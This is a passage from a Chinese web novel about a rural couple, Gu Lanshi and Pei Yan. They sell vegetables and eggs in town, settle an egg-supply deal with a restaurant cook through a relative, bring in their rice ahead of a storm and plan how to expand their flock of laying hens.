他在心里稍微一算,一筐葫芦瓜少说二十来斤,就能少给二十几文钱,再加上豇豆,要少四十文,这么想着,他咧嘴一笑,心里十分舒坦。 葫芦瓜和豇豆买的多,是为晒点葫芦条干子,后头天冷,想吃点菜只有这个法子。 昨天掌柜的同他吩咐过,后院地方虽不大,晒点馆子里自己人吃的菜干子倒还行。 而像更便宜的蒿菜,两文钱一斤,要是压一文,根本没什么赚头,蒋厨子要了十斤蒿菜,称好后裴厌虽然没给算便宜,但又给抓了一大把。 “鸡蛋还照上回那样,六十个。”蒋厨子说完,伸手自己把蛋筐盖子掀开,略显惊讶:“哟,弄成这样了,倒挺别致,一个格子塞一个。” 他从中掏出一枚鸡蛋,说:“这倒是个好法子,鸡蛋磕不着。” “这不是路远,每回来总有几个碰破的,鼓捣了几天,弄出这个。”裴厌也伸手,摸了几个鸡蛋出来,见没有磕破的,他抬头看一眼称好茄子的顾兰时,两人眼里都有笑意。 “这一筐能装几个?”蒋厨子好奇问道。 裴厌开口道:“大的七十六个,小的四十八个。” “如此,数目也明了。”蒋厨子了然,他把鸡蛋放进蛋篮子里,不再闲聊了,眼瞅着天已经大亮,随时有食客上门,要赶紧买好,还忙着呢。 裴厌帮着把菜搬进酒馆后院,账一结就出来了,往酒馆里送菜送鸡蛋很省心,鸡蛋、豇豆和葫芦瓜是大头,得了三钱多,至于别的菜,零散着加起来也有大几十文。 在给同春酒馆送菜以前,他俩都是沿街零散卖菜,这一笔大生意让两人心情都很好。 把空竹筐放在板车上,裴厌看向顾兰时:“去青鱼巷那边?” “好。”顾兰时刚说完,就听见巷子里头有人喊他俩。 “哎,卖菜的,别走啊。”两个夫郎胳膊上都挎了个竹篮,边走边喊,着急的那个还冲他俩招招手,生怕跑了。 顾兰时笑着说:“不走不走。” 那两人过来,见菜都新鲜,还有鸡蛋,都买了十个鸡蛋并两样菜。 在他二人后面,陆续还来了三四个人,有的买了,有的只看看,见鸡蛋格子做的别致,就多瞅了几眼。 夫郎妇人多,又都是一个巷子的熟人,边买菜边说笑,倒是热闹了一会儿,还引来几个小孩围着板车转。 账都结清后,裴厌牵毛驴往外面走,顾兰时跟在后面,这样能看着车上菜。 今儿运气不错,还没到青鱼巷,豇豆和蒿菜已经卖光了,车上最大的一个冬瓜也被个麻利干练的老太太买走了,还是裴厌帮她把冬瓜抱进家门。 一路走走停停,有人听见他俩卖鸡蛋,询问有没有鸭蛋。 这会儿到了腌咸鸭蛋的时候,不用旁人说,两人都看见好几个沿街卖鸭蛋的人,生意还都不错。 只是他俩没带,那人走了之后,顾兰时还说,回去了再弄几个蛋筐,好把鸭蛋也带来,样数多一点生意更好做。 到半上午,太阳大了,裴厌让毛驴停在街边空地上,和顾兰时喝水歇了一会儿。 裴厌整理了一下车上菜筐,说:“剩的不多了,留下这些不卖了,到舅舅家都卸下,转过街角有卖酒的,再去买两吊肉,就往回赶。” “好。”顾兰时喝完最后一口水,把竹筒盖子塞好,舒一口气笑道:“今天还不错。” “嗯。”裴厌也笑了下,怀里钱袋沉甸甸的,除了铜板以外还有几钱碎银。 毛驴跑惯了宁水镇,一出镇口,不用裴厌挥鞭子,它自己就跑起来。 苗家村差不多在小河村和镇子中间的位置,十分顺路,因此两人没有先回家,直奔了那边。 * 院子里,苗家老头老太太合力抬着一筐焯过水的长豇豆往院里走,院子里搭了好几排木架,晒的全都是豇豆,地上竹匾则是各式切好的干菜条子。 “阿婆!” 放下竹筐,苗家老太太听见了什么,一边往院门外看一边对旁边说:“老头子,我怎么听见兰哥儿的声音。” 苗老头也听了一下,却没听到什么,于是弯腰拿起一把还有点热的豇豆搭在木架上,逐一铺平展了,说:“哪儿有什么声音,兰哥儿在家呢,这会子跑来做什么,准是听岔了。” 苗老太太被说服,不再犹疑,只是刚抓起一把豇豆,门外声音忽的就大了。 “阿婆!阿爷!”顾兰时率先进了门,裴厌在门外把驴车停放好,不让挡住院门。 “哎呦!”苗老太太立即把豇豆丢进筐子里,别的再顾不上,高兴得什么似的,脚步匆匆迎上去。 苗老头一看果然是外孙子来了,也乐得直咧嘴笑,同样丢了手里的活赶上来。 “阿婆,阿爷。”裴厌笑着喊道。 苗老太太忙不迭答应,又骂道:“这死老头子,我说听见我们兰哥儿动静,他非说没有,自己耳背,还说我听岔了。” 顾兰时一笑,说:“我俩今儿去镇上卖菜,留了一些,过来转转,我舅在家?” 苗老太太两个和大儿子住一起,之前也听儿子说了酒楼那事,一下子知道了来意,笑道:“去地里忙了,等着,我让小伍儿去叫。” 她冲着西边邻家喊道:“小伍儿!小伍儿!猴崽子还玩儿呢!去!上地里喊你爷爷回来。” 小伍儿是二表哥的儿子,今年不过六岁,正是贪玩皮实的时候,顾兰时看一眼西邻,问道:“我舅母和我哥哥嫂嫂没在?” 苗老太太开口道:“嗐,你舅母回娘家转去了,你大哥哥他俩赶集买东西,两个孩子一听去赶集,闹着都跟去了,过几天你大嫂嫂娘家弟弟成亲,你二哥哥二嫂嫂两个去割草了,家里就我和你阿爷还有小伍儿,我嫌小伍儿烦,在家狗都躲着走,就让他出门耍。” 小伍儿拖着大鼻涕从西邻家走出来,一身衣裳也不知道在哪里蹭的都是土,苗老太太直接气笑了,骂道:“过来!够埋汰的,也不知跟了谁,不说你老子,你爷小时候都没这么讨人嫌。” 她帮小伍儿擤掉鼻涕,又骂道:“还不去地里找你爷,就说你小嬷来了,我让他回来呢。” 小伍儿认得顾兰时和裴厌,一双黑溜溜的眼睛盯着他俩看一下,一溜烟就跑走了。 “这小胳膊小腿,跑得还挺快。”顾兰时在后面笑。 苗老太太看着曾孙欢实的背影,没忍住也笑了下。 一旁裴厌正在往下搬东西,苗老头见又是酒又是肉的,砸吧一下嘴,没忍住抱起一坛酒左看右看,显然馋酒吃了。 “死酒鬼,是给你的吗?”苗老太太瞪他一眼。 苗老头嘿嘿一笑,说:“我就看看,就看看。” 顾兰时帮着把两个南瓜往家里抱,放在院门后说:“阿婆,我阿爷少喝两口,我看着他,一口都不会多。” 苗老头一下子就乐了,一把抱起两坛酒,说道:“还是我们兰哥儿孝顺,阿爷就喝两杯,绝不贪多,这可是好酒,不尝尝可惜了。” 平时苗老头要是喝酒,苗老太太早开骂了,不过这是顾兰时和裴厌带来的,她没有阻拦。 顾兰时把菜分了分,还有两个舅舅呢,趁大舅舅还没回来,他说一声,和裴厌先提着菜去送了。 苗成才跟着小孙子回家,见堂屋堆了些菜,而他老爹正在偷喝酒。 “成才。”苗老太太从灶房出来,说:“兰哥儿和姑爷来了,又是买酒又是买肉的,肉我切了些,等会儿炒一盘,菜也是兰哥儿两个拿来的,可都是好菜。” 给苗老头打了掩护,苗成才装作什么都没看见的样子,笑道:“我正琢磨过两天闲了,要让厌小子跟我去镇上呢,他俩今儿就来了,怎么不见人?” “去你二弟三弟那边了,送了菜就过来。”苗老太太看一眼苗老头,没发现他偷喝酒的事,又跟儿子说起话。 第156章 晌午饭是在苗家吃的,有肉有酒,不止苗老头高兴,苗成才也吃了个尽兴,顾兰时和裴厌走的时候,他拍着腔子打保票,说后天上午就去找来福酒楼的厨子,这事儿保管给办成了。 乡下土路颠簸,筐子里还有一些鸡蛋,裴厌赶驴车又绕上官道。 太阳被一片厚云遮住,车跑得不算快,正当晌午,迎面而来的风也没有那么冷,顾兰时坐在板车前头,笑着说:“舅舅喝醉了。” “一坛子酒,阿爷没喝两杯,舅舅少说也喝了半坛子。”裴厌也笑了下,拍着胸膛絮絮叨叨的模样,确实是醉了。 “你怎么样?”顾兰时问道。 裴厌开口道:“不打紧,舅舅是一高兴,喝得快喝得急了,另外那半坛子,还有二表哥一起,我俩喝得都不多,没什么事。” 知道他酒量不错,今天确实喝得不算多,顾兰时放下心。 * 约定好的日子很快到了,早起两人割了一车草后,顾兰时帮着一起拾掇,让换上没有补丁的干净衣服,毕竟是去见人说事。 裴厌揣好荷包,套上驴车,又给外祖家带了一筐菜,便赶着驴车出门了。 家里活还多,顾兰时没有送他,翻一遍谷场上晒的草,又背上竹筐出去打草,正要锁门时,他转头看一眼河道那边的野地。 草木还未到凋零的时候,但已经有几分秋意寂寥,这会子没看见村里其他人,还觉得有点说不出的空旷。 最近和裴厌一起出门惯了,突然一个人走远路去割草,还有点不放心,灰灰和灰仔以为他要走,都蹲坐在篱笆门后眼巴巴看着他,没有乱跑出来,而大黑慢悠悠在菜地里巡视。 “大黑!”顾兰时喊一声。 菜地里慢腾腾迈着步子的大体型黑狗倏然立起耳朵,一双棕色眼睛望向那边,确认顾兰时喊他以后,身形一下子变了,像一道黑影飞窜过来。 明明喊的是大黑,灰灰和灰仔同样变得激动,摇着尾巴抬头看他,似乎也想一起出门。 “你俩看家,我一会儿就回来。”顾兰时揉揉两只灰毛大狗的脑袋以示安慰,在它俩撒娇的呜呜叫声中还是无情锁上了篱笆门。 “汪——” 走远之后,听见篱笆院里的叫声,顾兰时回头看一眼,还是笑着往远处走,边走边找合适的猪草。 大黑撒开腿往前跑了一段路,在周围不断嗅,发现他在后面走得慢,就不再乱跑了,也不知道地上树上还有草里有什么味道,它总是要闻一闻。 另一边。 裴厌接了苗家舅舅后,两人一起赶车来到宁水镇。 姓吴的厨子名叫升文,别看名儿带了个文字,却生得膀大腰圆,常年在灶上干活,人倒是爱干净,衣裳并无油污脏渍,干干净净的。 见苗成才带人过来,还拎了一只野兔子和两包点心,就知道有事,他没客气,连忙接了东西让人进门,边走边喊他儿子快快倒茶。 兔子是裴厌昨天上山打的,他知道来福酒楼是个大酒楼,今日一看果然不错,兔子确实拿对了。 那样的大酒楼,又是厨子,吴升文什么好的没吃过,也就野味能稀罕一点了,也好彰显彰显诚意。 苗成才同他有几分交情,笑着说来的路上看见家酒馆,想来不错,不如去那边吃酒。 吴升文拎起手里那只肥兔子,哈哈一笑,他嗓门高声音厚,显然很高兴,说:“苗大哥瞎客气什么,既然来了,又带了这样的好东西,咱们今天就在家里吃,兔子肉可比外头那些馆子的东西香多了。” 说完他又朝堂屋那边喊道:“二儿,去,把兔子杀了,炖一锅,再弄几个小菜。” “知道了爹。”吴二出来,接了兔子冲苗成才和裴厌招呼一声,就去收拾了。 别的不说,吴升文确实不是吝啬小气的人,苗成才便朝裴厌点点头,笑道:“如此,我们也不客气了,厌小子,去,买两坛好酒回来。” “嗐,买什么酒,家里有呢。”吴升文大咧咧一摆手。 苗成才笑一声,冲裴厌一挥手,说:“本想同吴老弟去馆子里吃酒,就没带,他一个小辈,孝敬孝敬也是应该的。” 裴厌心领神会,大步朝外头走,见状,吴升文嘿嘿一笑,确实更高兴了。 “吴老娘在家?”苗成才问道。 “在呢。”吴升文走进堂屋,冲东边屋里喊道:“娘!苗老哥来了,给你带了点心。” 他说着,直接进屋,把两包点心都放在吴老娘炕桌上。 因是老人,苗成才也跟着进来,问一声好,又和吴升文出去了。 茶水吴二已经倒好,还放了两个干果碟子和点心,苗成才一看,吴家人以礼相待,没有轻视,心里自然舒坦。 两人一边吃茶一边说闲话,无非就是些家长里短。 见吴二在院里杀兔子,吴升文叹一口气,苗成才询问道:“吴老弟这是怎么了?” 吴升文又笑一下,说:“嗐,不过就是我们二儿也大了,该到娶媳妇的时候,可他大哥去年病了一场,今年是好了,已经和他媳妇到东家做工,你也知道,咱们这些人,一个月工钱能有多少,家里却哪儿哪儿都是开销,想说个媳妇,人家还嫌给的彩礼少,这不都黄了两个。” 原是这样,苗成才一笑,说道:“吴老弟,不知乡下的姑娘和双儿可看得上?” 吴升文连忙说道:“这说的什么话,哪有什么看得上看不上的,我虽带着家里搬来,不过也是个泥腿子,人家要是愿意,我们还求之不得呢。” 他老爹死得早,只一个老娘含辛茹苦将他拉扯大,家产渐渐变卖,最后只剩两亩薄地和一间茅草屋,他老娘好不容易求爷爷告奶奶,凑了点钱求亲戚带他学厨艺,苦哈哈熬了些年头。 他年少时穷苦,却并不是自怨自艾的人,这几年在酒楼干得好,挣了些钱,去年赁了间小院,把住在乡下漏风漏雨茅草屋的家里人都接来了,他夫郎如今在镇上一户人家做粗使,干些做饭洗衣的杂活,也能挣点工钱,好过在家里守着那两亩薄地。 有了这句话,苗成才开口道:“不知吴老弟想找个和咱们门当户对的,还是……” 吴升文说道:“你也知道,我老家在青云镇那边,离得甚远,到这边讨生活,虽认得几个人,到底不如你们面子大手腕广,无论姑娘还是双儿,哪有我们挑的,家中若清苦,只要老实本分能过日子,也就行了。” 听懂他意思,苗成才点点头,说道:“既如此,回去我就让他娘打听打听,看有没有合适的。” 吴升文十分感激:“那就有劳苗老哥了。” 见裴厌拎着两坛酒大步进来,他连忙上前接住,知道苗成才今天过来也是有事求他,却并不后悔先把自己的难处讲出来。 对小儿子的事,他确实着急了,昨天在楼里遇到几个相熟的,却被两个嘴损的汉子明里暗里说他家吴二怎么连个媳妇都娶不上,玩笑着嘲讽了几句。 他心里那叫一个不舒坦,思来想去,急得都快上火了,要不是今天苗成才过来,他都差点忘了,还有这么个关系在,一下子憋不住,巴巴儿就开了口,想赶紧托关系踅摸一个,成亲倒是不急,起码先把人定下来。 苗成才不是傻子,既然吴升文要托他办事,那给酒楼送鸡蛋一事,就板上钉钉了。 今天来的路上,他还同裴厌嘱咐了几句,要是吃酒时吴厨子不搭茬,只能包几钱银子。 还好还好,运气当真是不错,怪不得刚进门时吴升文就热情无比,连酒也不去吃。 * 顾兰时背着一筐草进门,他一个人已经跑了两趟,竹筐到底不如板车,弄一车虽然沉,但一趟就能打许多。 太阳大了,大黑一回来就趴在阴凉处歇息。 看见菜地里的土坑后,灰灰又一副谄媚眯眼睛的模样,都不敢上前来蹭他。 自家的狗自己知道,顾兰时卸下竹筐,坐在椅子上歇脚,他笑眯眯的,喊灰灰过来。 “汪!” 正在用脑袋蹭他小腿的灰仔冲着灰灰吠叫,它一副没犯错理直气壮的模样。 顾兰时没理灰仔,等灰灰摇着尾巴到跟前后,他出手很快,直接把灰灰拽过来用膝盖夹住脑袋,另一手“啪啪”在灰灰脑袋和屁股上打了几下。 要是裴厌的话,一只手就能把灰灰摁在原地动不了。 灰灰被打的嗷嗷叫,夹着尾巴仿佛遭受了痛不欲生的攻击,顾兰时气笑了,揪着它脖子上一层厚厚的皮肉,给了灰灰脸颊两巴掌。 大黑不说,灰灰和灰仔从小就吃得好,长这么大都没饿过肚子,不说膘肥体壮,皮厚肉厚也是有的,这几巴掌,压根儿就打不疼它,只是惯会装模作样。 “下次再刨坑,可就不是打这几下了。”顾兰时在它屁股上拍一下,这才放开。 大黑咧着嘴吐舌头,不知道它是热的还是高兴,而灰仔的表现更明显,看见灰灰挨了打,它直接在院里人来疯一样跑起来,两个耳朵都在晃,竟高兴到这模样。 顾兰时懒得理它几个,教训完灰灰起身,把竹筐里的草掏出来铺在地上晾晒,随后拔了棵春菜开始备饭。 裴厌去镇上请人吃酒,晌午饭只用做他一个人的。 灰灰挨了打,闷闷不乐找了个角落趴下,灰仔贱嗖嗖的,跑来冲它汪汪叫,它把脑袋搁在叠起来的两个前爪上,尾巴不耐烦甩两下,没有理灰仔,扭过头看也不看。 不一会儿,灶房里传来“刺啦——”一声。 顾兰时正在炒菜,就听见狗叫声响起,他用木铲翻两下锅里的菜,这才匆匆走到院里探头看一眼,果然,是裴厌进门了。 第157章 锅里有菜耽误不得,顾兰时看一眼,喊道:“回来啦!我在炒菜。” 裴厌牵着驴车进门,大黑几个尾巴不停摇,前前后后跟着,一直到进院子。 “事情办成了,后天就去送鸡蛋,菜也能捎带着卖。”裴厌迫不及待说道。 车套也顾不上解开,他走进灶房满眼笑意,又说:“大舅舅送回家了,今儿又喝得有点多,不过还好,能走路能说话,只是跟那天一样,醉了后话多一点。” 顾兰时翻动锅里的菜,闻言松了一口气,总算踏实了,锅里的菜要闷一下,他盖上锅盖,手里的木铲没有放下,笑眯眯问道:“还吃吗?” “不了,回来前在吴厨子家吃过,等会儿喝点热茶就行。”裴厌说完,忍不住又道:“价钱也定好了,三百文送一百一十个鸡蛋。” 顾兰时弯腰看一眼灶膛里的火,见不用添柴,笑道:“多给十个。” “嗯。”裴厌说:“和同春酒馆不同,酒楼生意大点,吴厨子说平时就得按一百个鸡蛋备下,让点利也是应该的,有了销路去处,以后不愁钱赚。” “是该这样。”顾兰时推开锅盖,见菜汤咕嘟咕嘟滚开熟了,拿了碗过来盛,他自己吃饭,一道菜足矣。 裴厌解了车套,把毛驴牵到后院让歇息,他洗过手后,坐在顾兰时对面,倒了碗茶说道:“我也问过,来福酒楼买菜基本是天天买,新鲜,有时生意不好,也能留到第二天,再放就蔫了,剩下的菜他们都会焯水晒成菜干子,跟咱们一样。” “最近菜和瓜正是收获的时候,只是家里只有两个人,打草不能耽误,白天得在家里干活,我想趁有菜卖,从后天开始,每天清早摘了菜,无论多少,先去酒楼那边送,他们能要完最好,要不完直接带回来。” 顾兰时咽下馒头,说:“这样你就太累了。” 裴厌喝一口热茶,笑道:“累只累这几天,再过一月左右,也该拔藤蔓拔竹竿了,能挣一点是一点,等到深秋,叶子一落就能歇了,况且也等不到深秋,天一冷,菜慢慢少了,只能隔天去卖。” 顾兰时犹豫一下,确实,冬天之前,能多挣一点是一点,他端起饭碗喝一口米汤,说:“也行。” 灰仔跑进来想蹭吃的,裴厌轻喝一声赶走它,省得在顾兰时腿边蹭来蹭去,狗毛都要粘在衣服上。 他又开口道:“吴厨子说,正好他们酒楼里最近收菜,像豇豆扁豆、葫芦还有茄子一类好晒成菜干的,大量要呢,我跟厨子商量好了,按每天市价,给他算便宜一点,他也好和东家交代,咱们有多少那边就要多少,先紧着咱们的菜收,虽然每斤少一文,也能赚个辛苦钱,比沿街叫卖快多了。” 冬天东西少,就算菜干子家家都有,价钱根本不算低,去年来福酒楼的老板就嘱咐过吴升文,要是碰到便宜的菜蔬,就多买些,他们自己在后院晒菜干,成本会少一点。 “那赶的巧。”顾兰时想了一下,眼睛亮了起来,说:“这门生意要是长久了,以后到秋天,菜蔬就更好卖了。” “可不是。”裴厌露出个笑容,他闲不住,起身说道:“我看看眼下有多少个鸡蛋。” 他俩养了五十四只母鸡,每天最少也有二三十个鸡蛋能收,这不又攒了几天,连带之前剩下的,已经有一百多个了,足够给来福酒楼和同春酒馆同时送。 就算鸡蛋不够,裴厌已经想好了法子,村里养鸡的不少,大伙儿都指着攒多了去镇上卖,他照市价去收,虽然赚不了差价,只要能拢住酒楼和酒馆的生意就行。 * 赶在收稻谷之前,裴厌把酒楼那边跑顺了,鸡蛋隔三四天送一次,久了得五六天,菜蔬他每天一大清早就赶驴车去送,连着好几天全部卖了出去。 近来庄稼人都在囤菜晒干子,菜价上去了点,比他之前想的多赚了几个铜子儿。 和往年一样,割稻谷的这两天,裴厌没有出门,铆足劲在地里干活,其中艰辛不必多言。 “咕——咕咕” 顾兰时提了半桶碎草叶走进鸡圈,刚倒了一个木槽,母鸡就争先恐后涌到一起,他抓一把草叶往空旷地方撒,学母鸡叫声把一些母鸡引到这边来,不然还要打架。 鸭子和母鸡都喂过后,他出来关好圈门,见大黑忠心耿耿蹲坐在鸡圈前等它,没忍住揉了一把它毛绒绒的脑袋。 自从上次两只公鸡打架,他去劝架分开,却被另一只公鸡迁怒追着啄,实际他手里有铁锨,根本没啄到,反而那只公鸡后来被炖了,但每次只要他喂鸡,大黑都会在外头看着。 放下空桶,顾兰时看一眼天色,前天收的稻谷,正摊开在谷场上晒,但今天从早上醒来天就是阴的,这会儿黑云从南边上来,越发浓重。 见势不对,他匆匆往谷场那边走,拿起靠在墙壁上的木叉,把在稻谷上趴着睡觉的灰仔撵走,他就开始把稻杆往棚子里挑运。 原本想趁太阳大,多晒两天,等稻杆晒干透了好牵毛驴碾场。 昨天早上给酒楼和酒馆送过鸡蛋和菜蔬,余下大半天他俩没有再干活,而是在家歇息,今天裴厌拿了弹弓说上山打野兔,眼下还没回来。 一阵冷风卷起地上沙土和落叶,打了两个转儿,枯叶才落在地上。 见起风了,顾兰时脚下都匆忙了几分,一贪心木叉上挑的稻杆多,有点沉重,他咬着牙鼓足劲才把那一叉丢进木棚里。 吃了教训,他没有再弄那么多。 许是察觉到了他的急切,三只大狗都竖起耳朵,似乎有点急躁,灰仔还冲这边汪了一声。 顾不得理会别的,不用抬头都发现天色暗了点,显然风雨欲来,顾兰时来回跑个不停。 手背上落下一点冰凉,他下意识抬头看,一点雨水打在他额头。 而这时,大狗跑向院门那边,他听到动静,转头望过去,裴厌手里拎了只肥兔子,跑着进了门。 “快!雨来了!”顾兰时催促一声,自己继续用木叉转移稻杆。 裴厌放下手里的所有东西,拿起另一把木叉也过来,两个人明显快多了,一会儿用木叉挑,一会儿用耙子推。 地上散落的谷粒根本来不及细细捡,直接用扫把扫进木棚里。 雨点还没把土地彻底打湿,扫把扬起来的灰比较大,带着浓郁的土腥味道。 裴厌和顾兰时手下动作都快,狗似乎看懂了他俩在做什么,急得汪汪叫了几声,越发显得急切。 等雨滴变大,汇聚成水幕,天色黑沉沉的,疾风骤雨仿佛顷刻间袭来,谷粒和稻杆全都收进了木棚,顾兰时站在棚子里长舒一口气。 裴厌把木叉靠在谷堆上,抬头看一眼天,说:“在山上刚打到兔子,见天色不好,紧赶慢赶往回走,幸好,没怎么淋到。” 他说的是稻谷,人淋湿了还能洗头换衣裳,稻谷要是遭了雨,再堆到一起容易发霉发潮。 顾兰时捏了捏胳膊,笑道:“运气算好的,得亏早上没把菜干端出来晾。” 雨势渐渐大了,不能一直待在谷棚,最前面这些谷粒虽然和土混在一起,不过等太阳出来以后,再晒一晒,就着风势用簸箕和铁锨扬起,灰尘会随风飘走,谷粒则落在地上和尘土分开,不是什么难事。 两人低头,用胳膊勉强遮一遮头顶,踩着水迹飞快往堂屋那边跑,大黑三个也跟着他俩跑。 一进堂屋,顾兰时从怀里掏出帕子擦擦头发上的雨水,裴厌进东屋拿了两条布巾出来。 顾兰时接过,用布巾擦拭一阵头发,只这一段路,说彻底淋湿是谈不上的,等会儿衣裳和头发也就干了。 一下雨没事做,裴厌想起丢进灶房地上的野兔,戴上斗笠拿了过来。 顾兰时倒了两碗热茶,抬眼随意看过去,惊讶道:“这么肥。” “最近草木瓜果丰盛,兔子贴秋膘吃肥了。”裴厌笑着又说:“只是这雨不知道下到什么时候,还想着下午或明天送去镇上,要是明天还下的话,只能咱们吃了。” 这只又肥又大的兔子被弹弓打中后本来就半死不活,裴厌今天没带竹筐上去,直接绑了它两条后腿提下来,一路又走得急,遇到空旷处是跑下来的。 随着人跑动,肥兔子身体在空中乱晃颠簸,到家又“啪”一声被丢在地上,已经没气了。 顾兰时提着后腿上的草绳把兔子拎起来,确实挺重的,他心下一喜,说道:“这得六十文朝上吧。” 裴厌喝一口热茶,说:“肉肥又多,看皮毛也顺,卖七十文不成问题。” “明天雨停了最好。”顾兰时放下兔子,见灰仔探头探脑想要闻一闻,这还罢了,见灰仔张嘴,像是想把兔子叼走,他抬手打了灰仔一巴掌。 前几天灰灰挨打,灰仔乐得什么似的,今天它自己挨了打,一副做贼心虚的模样,蹑手蹑脚走到了角落趴下,其他两只十分识趣,没有擅自靠近野兔。 一下雨天凉,兔子放到明天还是没问题的。 粗茶味道一般,却是喝惯了的,他俩时不时端起茶碗喝一口,热茶微烫,下肚后十分暖和。 灰仔从小就很亲人,即便挨了打,独自在角落根本待不住,摇着尾巴又蹭过来,见顾兰时没有再打它,眯着眼媚笑的神色才渐渐正常。 这会儿没事做,刚才收稻谷又太急,他俩把摇椅拉到堂屋门口,躺下去一边摇晃一边看雨,还感慨做了两把摇椅就是好。 第158章 灰色的天不甚明亮,绵绵细雨下个不停。 顾兰时和裴厌都戴了斗笠穿上蓑衣,一个在前面喂鸡鸭,一个在后院喂猪和毛驴。 雨天其他活可以停下,家禽家畜不能少吃喝。 鸡圈里,顾兰时弯腰从矮棚底下出来,母鸡挤在底下吃食不会淋到雨,只是木棚搭的低矮,人进去得一直弯腰低头,不然会撞到脑袋。 鸡和鸭子都喂上了,他提起空桶,竹篮放在鸡窝顶上,用小竹匾盖着,里头是五枚鸭蛋,他拎了篮子转身要出去,想了一想,脚下方向一转,先来到鸡窝前,低头从一个窝洞口看进去。 鸡窝里没有母鸡,看见稻草上散落了两枚鸡蛋,他伸手掏出来,又从其他几个窝洞口翻找一遍,只摸到四个,一大早,母鸡下蛋的少,多是在下午。 鸡窝里稻草是前天换的,铺的足够厚实,摸起来不潮湿,也就不用换了。 母鸡养的多,不可避免会有几只在窝里乱拉的,弄脏了之后,无论他还是裴厌,都会抽出那些脏的稻草,要是稻草太脏或潮湿了,会及时换掉,鸡窝干净暖和才是正理,不然母鸡会生病。 顾兰时走出鸡圈关上门,见大黑淋着雨在等,一身长毛湿漉漉的,他笑道:“快进去,你又没蓑衣穿。” 仿佛听懂了似的,又或许只是避雨的习性使然,大黑在他出来后,一溜烟跑进院子,先在堂屋屋檐下扑棱棱抖毛,甩的雨水瞬间乱飞。 “呜呜——” 懒洋洋的灰仔原本趴在堂屋门口看雨,秋风时不时吹一阵,连屋檐底下都有水迹,而堂屋有门槛挡着,门口没有被雨水淋到,它倒是聪明,只是大黑一抖毛,瞬间溅了它一脑袋,它心生不满,爬起来呜咽了几声。 顾兰时走得也快,进灶房擦干鸡蛋鸭蛋上的一点水迹,随后才分别放进蛋筐里,虽然有竹匾盖着,但还是淋了零星雨点。 他看一眼鸭蛋筐,攒下将近八十枚了,要不是给酒楼和酒馆送了一些,不然更多。 再攒一攒,买些粗盐巴回来就能腌了。 锅里有热水,他舀了半瓢倒进木盆,把木盆斜靠在墙根蹲下洗手,听见裴厌的脚步声,喊道:“我倒了热水,过来洗干净手。” 干活不可避免会弄脏手,雨一下,手露在外面也冰冷,用温热的水洗一洗,也有点热乎劲。 堂屋里,顾兰时摘下斗笠脱掉蓑衣,抬胳膊抬腿一下子轻松了。 裴厌坐在凳子上,天色不是很好,他借着门口透进来的光,把昨天劈好刮平的竹条篾片抱过来放在地上,着手开始编笼子。 顾兰时进屋拿了针线篮子出来,在他身后几步远坐下,拿起鞋底纳了几针,之前趁着太阳好,又给裴厌剪了双鞋底。 夏天还好,入秋后天冷了,草鞋不如布鞋暖和,况且裴厌平时跑前跑后,鞋子磨损本就快,多做两双备着,过节走亲戚的时候穿上新鞋子也体面。 “编笼子?”他原本没放在心上,编竹筐编竹匾是家里常干的话,不想随便瞅一眼,就发现裴厌今天编的东西不一样。 养鸡鸭是为了下蛋,还没卖过,偶尔打了野鸡野兔什么的,都是捆了脚扔在板车上带去卖,因此家里只有两个旧鸡笼,也没怎么用,一直放在柴房。 裴厌手上不停,说:“那两个旧了,年头长也有点朽,过两天天晴了,我想在村里收几只活鸡鸭,一起拉到镇上。之前问过,楼里和馆子里都是收别人的活鸡活鸭,养在后院,日日都是新鲜现杀的,要他们自己养,还得腾出一片地方,咱们连活鸡活鸭一起带着,他们若要,就有现成的。” 顾兰时点点头,意识到裴厌在前面看不到后,他笑着开口:“还真是,收的话,想好价钱了吗?” 他俩养的鸡鸭还不到卖的时候,眼下要是想卖这一样东西,只能去买别人养的。 裴厌侧了个身,一转头就能看见后面的顾兰时,说话不看着人还真有点不习惯,说道:“肥母鸡一只四十文左右,我刚才在后院想了想,咱们收的话按三十八文一只,不说三十五文,就是三十六文钱,估计都有人不愿意卖,情愿自己赶路,只少卖两文的话,倒还好说。” 确实,大伙儿都是赶路赶惯的,别看三四文钱少,一只母鸡少三文,两只就六文了。 “虽是薄利,往后要是能揽下给酒楼酒馆送鸡鸭的活儿,肯定能挣。”裴厌把手里的竹笼编了一圈,抬头又说:“到明年开春,再买二三十只鸡仔回来,分批养,等老鸡老鸭三四年后,不下蛋就能卖了。” 顾兰时想了一下,放下手里的鞋底,说:“照这样,岂不是每年都得买鸡仔?这样年年才有前两年的老鸡老鸭卖,不然就断了。” 他琢磨完又说道:“那得养多少只!” 裴厌顺着他的话想,慢慢算道:“今年这一批母鸡都算头一年,明年春天买三十只小母鸡,养到后年,今年的老了就该卖了,那三十只小母鸡正是能下蛋的时候,后年开春再买三十只鸡仔的话,除了今年的五十四只老母鸡,家里差不多有六十只。” “照这个数往后轮续,刨除每年要卖的老母鸡,正下蛋的母鸡一年应该在六十只左右。” 顾兰时皱起眉头,微微仰头张着嘴巴,想了一会儿,说:“每年开春买的鸡仔,到秋天才下蛋,第二年蛋期才盛,会不会不够给镇上送的?” 裴厌笑一下,说:“只要养顺了,每年不是有上一年秋天开始下蛋的蛋鸡。” 他又道:“今年这五十四只还能下两年蛋呢,明年开春养的鸡仔,后年正好在蛋期,不就续上了?” 听完,顾兰时一下子捋清了,原来如此。 裴厌顿一下,开口道:“三十只的话,要是送蛋生意好,万一不够的话,还得收别人家的,这样就没几个钱挣,四五十只也是养,还是多一点把稳。” 挣钱的事,谁不愿意去做? 更何况他俩养鸡卖蛋如今有了门路和成效,除种地种菜以外,也就这个能长久干下去维持生计了,还是一门不错的进项,自然愿意多想想。 顾兰时端起茶碗喝两口,说:“这样的话,鸭子先不说,母鸡多,得分开养,不然混在一起,长大后分不清是哪一茬的。” “是得这样。”裴厌垂眸想了一下,又抬眼道:“养三茬才能接上,得有三个鸡圈,院子东边和山壁之间不是有空地,就和西边现在的鸡圈一样,在那里围一个,那边地儿比较大,前后分隔开,刚好养两茬。” 家里这一片地界,能用的都用上了,总不能把菜地占了,顾兰时点点头,只能这样。 他想了一下,自从上回篱笆墙被从外面掏洞挖坑,要是鸡圈挨着篱笆墙,更容易被贼惦记,处于山壁和院墙之间的话,贼就是想进来,还得费点力气。 商量好以后,顾兰时纳了几下鞋底,一边拽麻线一边想事情,忽然又放下针和锥子说道:“那鸭子呢?” 裴厌手一顿,一只鸭子比鸡贵五六文,只是鸭子想养得好,得去游水,还得各种小鱼小鸭螺丝河蚌伺候。 